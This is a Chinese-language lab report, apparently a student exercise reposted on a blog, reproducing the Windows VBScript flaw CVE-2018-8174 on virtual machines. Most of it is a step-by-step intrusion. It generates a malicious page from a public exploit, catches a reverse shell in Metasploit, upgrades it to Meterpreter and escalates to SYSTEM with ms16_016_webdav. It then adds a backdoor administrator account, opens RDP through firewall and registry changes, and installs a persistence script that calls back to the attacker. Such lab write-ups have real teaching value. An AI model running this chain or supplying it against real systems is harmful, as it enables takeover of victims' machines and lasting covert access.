漏洞CNNVD-201805-248的复现与提权
實驗原理介紹(圖文)
本次實驗實現漏洞CNNVD-201805-248的復現與入侵,以及后續的提權管理員和留后門操作。
漏洞基本信息:
漏洞名稱:Microsoft Windows VBScript 引擎安全漏洞
CNNVD編號:CNNVD-201805-248
CVE編號:CVE-2018-8174
危害等級:高危
漏洞類型:緩沖區錯誤
威脅類型:遠程
發布時間:2018-05-10
漏洞簡介:Microsoft Windows 7等都是美國微軟(Microsoft)公司發布的一系列操作系統。Windows VBScript engine是其中的一個VBScript(腳本語言)引擎。Microsoft Windows VBScript引擎中存在遠程代碼執行漏洞。遠程攻擊者可利用該漏洞在當前用戶的上下文中執行任意代碼,造成內存損壞。
漏洞POC如下:
POC中首先定義了兩個數組array_a和array_b,并聲明了一個類Trigger,Trigger中重載了析構函數Class_Terminate,在UAF函數中,創建了一個Trigger的實例賦值給數組array_a (1),并通過Erase array_a清空array_a中的元素,這時候在析構array_a中的元素的時候會觸發腳本中Class_Terminate的調用,在Class_Terminate中增加了一個array_b(0)對Trigger實例的引用(Trigger實例引用計數+1),再通過array_a (1)= 1刪除array_a (1) 對Trigger實例的引用(Trigger實例引用計數-1)來平衡引用計數,這時候Trigger實例會被釋放,但是array_b(0)仍然保留了這個Trigger實例的引用,從而array_b(0)指向了被釋放的Trigger實例的內存,最終在TriggerVuln中通過b(0) = 0訪問未分配內存觸發漏洞。
環境配置介紹(圖文)
攻擊機操作系統信息:Linux kali 4.18.0 amd64(靜態IP:192.168.3.200)
靶機操作系統信息:Windows 7 Professional SP1 32位(靜態IP:192.168.3.250)
靶機瀏覽器版本信息:IE8
攻擊機和靶機都是部署在VMware上的虛擬機。
實驗過程詳細介紹(圖文)
一、 部署攻擊
第一步,利用漏洞攻擊模塊撬開win7的大門,獲得靶機的shell。
1.下載漏洞模塊
git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
在攻擊機kali中打開終端,從github下載到用于攻擊該漏洞的攻擊模塊。本次實驗使用的是”Yt1g3r”上傳的使用python語言編寫的EXP。
2.編譯文件
python CVE-2018-8174.py -u http://192.168.3.200/exploit.html -o msf.rtf -i 192.168.3.200 -p 4444
進入上面下載到的CVE-2018-8174_EXP文件夾,將py文件編譯為惡意html文件。此處 -i選項為kali攻擊機ip, -p選項為監聽端口4444。
3.復制文件
cp exploit.html /var/www/html
將上一步編譯得到的html文件復制到網站根目錄下,以便通過瀏覽器訪問。
4.web服務器開啟
service apache2 start
開啟攻擊機的apache2服務,啟動web服務器。
5.使用metasploit獲得靶機的shell
打開metasploit的命令行模式,輸入以下指令:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.3.200
exploit
使用metasploit的exploit/multi/handler模塊,PAYLOAD設置為windows/shell/reverse_tcp,設置相關參數,開始攻擊。show options可見所有可設置項。LHOST設置為攻擊機ip,LPORT設置為監聽端口,此處LPORT已經默認為4444,否則set LPORT 4444。
6.靶機win7使用IE瀏覽器訪問192.168.3.200/exploit.html
在IE中打開惡意鏈接后,雖然頁面顯示打開失敗,但是實際攻擊已經成功,kali機獲得返回的shell。
打開返回的shell。
win7打開惡意鏈接后,在kali的metasploit中可以看見攻擊成功返回的信息,提示有“shell session opened”即已成功建立和靶機的連接會話。
回車一下,可進入win7的cmd。
chcp 65001 清除亂碼。
此時已可在cmd命令行中遠程對win7進行一些簡單的操作,例如在桌面彈出一個計算器。
而當我們嘗試添加新用戶net user hacker 123456 /add ,發現指令被拒絕,說明當前用戶權限太低。windows開機時默認登錄一個普通用戶賬號,攻擊進行到這里只能取得和當前用戶相同的權限,所以我們目前僅擁有普通用戶權限,所以為了對靶機進行更多操作,我們需要進一步進行提權處理。
二、 shell升級
第二步,為了后續使用其他手段提權,將第一步得到的shell升級為meterpreter shell。
1.將shell轉到后臺
Ctrl+z
2.確認,注意這里是session 2
y 回車
3.查看對應序號,該session類型為shell x86/windows
sessions -l
4. 載入轉換模塊
use post/multi/manage/shell_to_meterpreter
5.設置要升級的SESSION
set SESSION 2
在第2步將shell轉到后臺時,放到后臺的是SESSION 2,所以此處設置為SESSION2。
6.開始攻擊
run
開始進行shell類型轉換。出現Meterpreter session 3 opened語句,轉換成功。
7.查看是否出現新的SESSION
sessions -l
可以看到新出現的SESSION3類型為meterpreter x86/windows,這就是上面的shell轉換出來的新SESSION。
8.進入新SESSION
sessions -i 3
進入剛剛升級出來的SESSION,可以看到meterpreter > 提示符,使用一些meterpreter的指令。
此時輸入getsystem還是顯示沒有權限 ,使用background將SESSION3再次放到后臺。
三、 漏洞提權
第三步,配合其他漏洞提權為管理員。
use exploit/windows/local/ms16_016_webdav
set SESSION 3 (上面第二步升級后的新SESSION)
exploit
使用exploit/windows/local/ms16_016_webdav模塊,設置相關參數,開始攻擊。此處設置SESSION為第二步得到的SESSION3。
3.查看可利用進程
ps (查看進程,找到系統權限進程號3928)
4.遷移進程
migrate 3928
遷移進程,獲取系統管理員權限。
查看uid,發現用戶名已經是NT AUTHORITY\SYSTEM,擁有管理員權限。
四、 創建管理員
第四步,創建新的管理員權限賬號。
1.進入cmd shell
shell
從meterpreter命令行進入win7cmd命令行。
2.添加新用戶
net user hack 123 /add
創建用戶名是hack,密碼是123的新用戶。
3.給新用戶添加管理員權限
net localgroup administrators hack /add
將剛剛創建的hack設為管理員。
4.成功,已獲得該系統的管理員權限
五、 遠程登錄
第五步,開啟目標機器的3389端口,進行遠程桌面連接。
1.查看目標機器端口使用情況
在cmd中使用netstat -an查看3389端口是否開啟
并沒有開啟,所以我們需要打開該端口
2.添加3389入站規則
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
設置防火墻允許通過3389端口遠程桌面登錄。
3.開啟端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
修改注冊表開啟3389端口
4.使用第四步中創建的賬戶遠程登錄
(在meterpreter)portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.3.200 (此為攻擊機kali的ip)
(在kali終端)rdesktop -u hack -p 123 192.168.3.250
portfwd命令在meterpreter中使用,所以本地IP填寫127.0.0.1,遠端IP填寫kali機的IP,端口使用前面打開的3389端口。
rdesktop命令-u選項填寫第四步中創建的新用戶,-p選項填寫該用戶的密碼,最后一個參數填寫要連接的機器,也就是靶機win7的IP地址。
六、 裝后門
第六步,植入后門木馬,讓靶機在重啟后仍會自動重連到kali。
1.生成后門木馬
(在meterpreter)run persistence -X -i 5 -p 5000 -r 192.168.3.200 (本機IP地址)
設置重連的IP地址和端口號。
此時,可以在遠程桌面中打開”Persistent Script written”一行中顯示的路徑,確認后綴名為vbs的木馬文件是否已成功安裝到win7。
2.win7關機
在meterpreter命令行中會顯示會話已關閉,本次連接已斷開。
3.設置重連監聽
打開新的metasploit窗口,輸入以下命令。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.3.200
set lport 5000 #要跟設置 run persistence 時的端口一致
exploit
使用exploit/multi/handler模塊,設置PAYLOAD為windows/meterpreter/reverse_tcp,LHOST和lport設置為和run persistence命令中相同的IP地址和端口號,開啟攻擊。此時開始監聽來自win7的重連,當win7重新開機,木馬文件被啟動,此處將自動收到重連的會話。
4.在win7中執行木馬文件
win7再開機后會彈出木馬文件的執行請求,點擊打開,kali機就能打開重連的會話。
這次實驗我們認為最難的一點是從拿到靶機的shell到成功提權管理員的轉接。
一開始選擇CVE-2018-8172這個漏洞進行復現的時候,我們根據找到的資料,在kali從github下載漏洞攻擊文件,編譯文件,在終端開啟監聽,進行攻擊,得到win7的shell,直到這一步還是很順利的,但是發現只是普通用戶權限,很多指令都不能用,比如創建新用戶,開啟程序,修改注冊表,開啟端口等。使用這些高級指令必須要得到最高的管理員權限。后來查網上的資料發現【以常規手段】在win7開啟最高的管理員權限有以下幾種辦法:
①在開始——運行——輸入cmd,右鍵“以管理員身份運行”,再進入cmd界面,這時候上面提到的高級指令才變得可用。
②用戶以管理員身份開機。
③知道管理員用戶的密碼,輸入密碼登錄管理員賬號。
因為我們目前僅僅只是在kali中進入了win7普通用戶權限的cmd shell,想要實現第1點的話,必須遠程開啟win7的端口,修改win7的注冊表等等……在kali遠程進行這些操作,無疑需要獲得該靶機win7的最高的管理員權限,這里就形成了邏輯閉環,因此第1點在普通用戶權限的shell是無法實現的。
至于第2點的實現則需要一定的幾率,如果用戶以管理員身份開機,則我們上面的操作就能獲得管理員權限。但是如果用戶沒有以管理員身份開機(這種情況是更加常見的,因為一般的win7用戶大多數都是以默認的普通用戶權限開機的),則無法實現。我們的入侵應該依靠win7漏洞和各種kali的滲透工具的主觀能動性,不能把希望寄托在靶機以管理員權限開機這種偶然性事件上面。
至于第3點則更難實現了,如果事先就已經知道靶機用戶的密碼,那也沒有利用win7本身的漏洞秘密攻擊靶機的必要了。
之后我們考慮尋找在可以metasploit中使用的攻擊模塊,因為我們前面的做法是直接在終端使用nc命令監聽4444端口,雖然能打開cmd shell卻對后續提權無從下手,而在metasploit中我們會有更多可用的攻擊工具。于是我們在github搜索CVE-2018-8172這個漏洞的相關攻擊模塊,找到了0x09AL這位github用戶用ruby語言寫的CVE-2018-8172的攻擊模塊下載數最多,并進行嘗試。經過我們的實踐之后,發現他寫的攻擊模塊不能成功返回shell。我們注意到readme文檔中有一句”The exploit doesn’t work very well with meterpreter shellcode so it’s better to use non-staged reverse shell.”,猜測需要換一種類型的payload。我們嘗試了幾種別的payload,發現也不能成功,使用single的payload甚至會令瀏覽器進入未響應狀態。最后我們判斷這個攻擊模塊不能使用,但也在此感謝一下這位0x09AL同志的付出。
這樣看來漏洞CVE-2018-8172似乎只能走到這步了,但是我和我的組員還是不甘于這個結果,指導老師給了我們提示:可結合其他漏洞和方法進行入侵。
一開始我查閱資料,找到了一種似乎可以提權的方法,在cmd 中輸入at 16:53 /interactive cmd ,使用taskmgr命令打開任務管理器,殺死現用戶桌面進程(explorer.exe),新建explorer.exe,則整個界面都在管理員(因為當前的explorer進程是在system權限運行的),然后再重新打開cmd,當前用戶就變成system了。但是實踐發現這些指令只在xp系統有效,在win7系統的環境下運行這些指令會被限制導致提權失敗,而且這種提權的方式是沒有用到CVE-2018-8172這個漏洞的,就和這個網絡攻防題目相沖突了,遂放棄。
kali自帶的滲透工具metasploit裝有許多提權漏洞的攻擊模塊,如永恒之藍,ms13_053,ms14_058,ms16_016,ms16_032等,但是發現這些提權漏洞的可填參數很簡單,是一個session,也就是說利用這些漏洞入侵的前提是要有一個meterpreter的session。
然后我們梳理了漏洞入侵的一般流程,想到利用python語言的那個攻擊腳本進入到win7的cmd的時候已經成功返回了一個shell,只是不是meterpreter類型的session,但這不失為一個機會,只要我們將在終端進行的監聽接入到metasploit來進行,就可能有機會利用到metasploit自帶的豐富的攻擊模塊。
于是我們再查閱資料,學到了利用metasploit中的shell_to_meterpreter這個模塊,我們成功把win7的shell轉換成meterpreter shell,產生了一個meterpreter的session。然后再利用ms16_016_webdav這個漏洞,填入session參數,成功進行進一步提權。
后續我們參考了課件“溢出實驗”中遠程連接和留后門的操作,都比較順利。
這次實驗比較大的經驗教訓是,當一條路走不通的時候,可以腳踩多條路一個急轉彎,觸類旁通是有益的。
總結
以上是生活随笔為你收集整理的漏洞CNNVD-201805-248的复现与提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ai人工智能电话机器人应用市场分析
- 下一篇: #Pragma Pack(n)与内存分配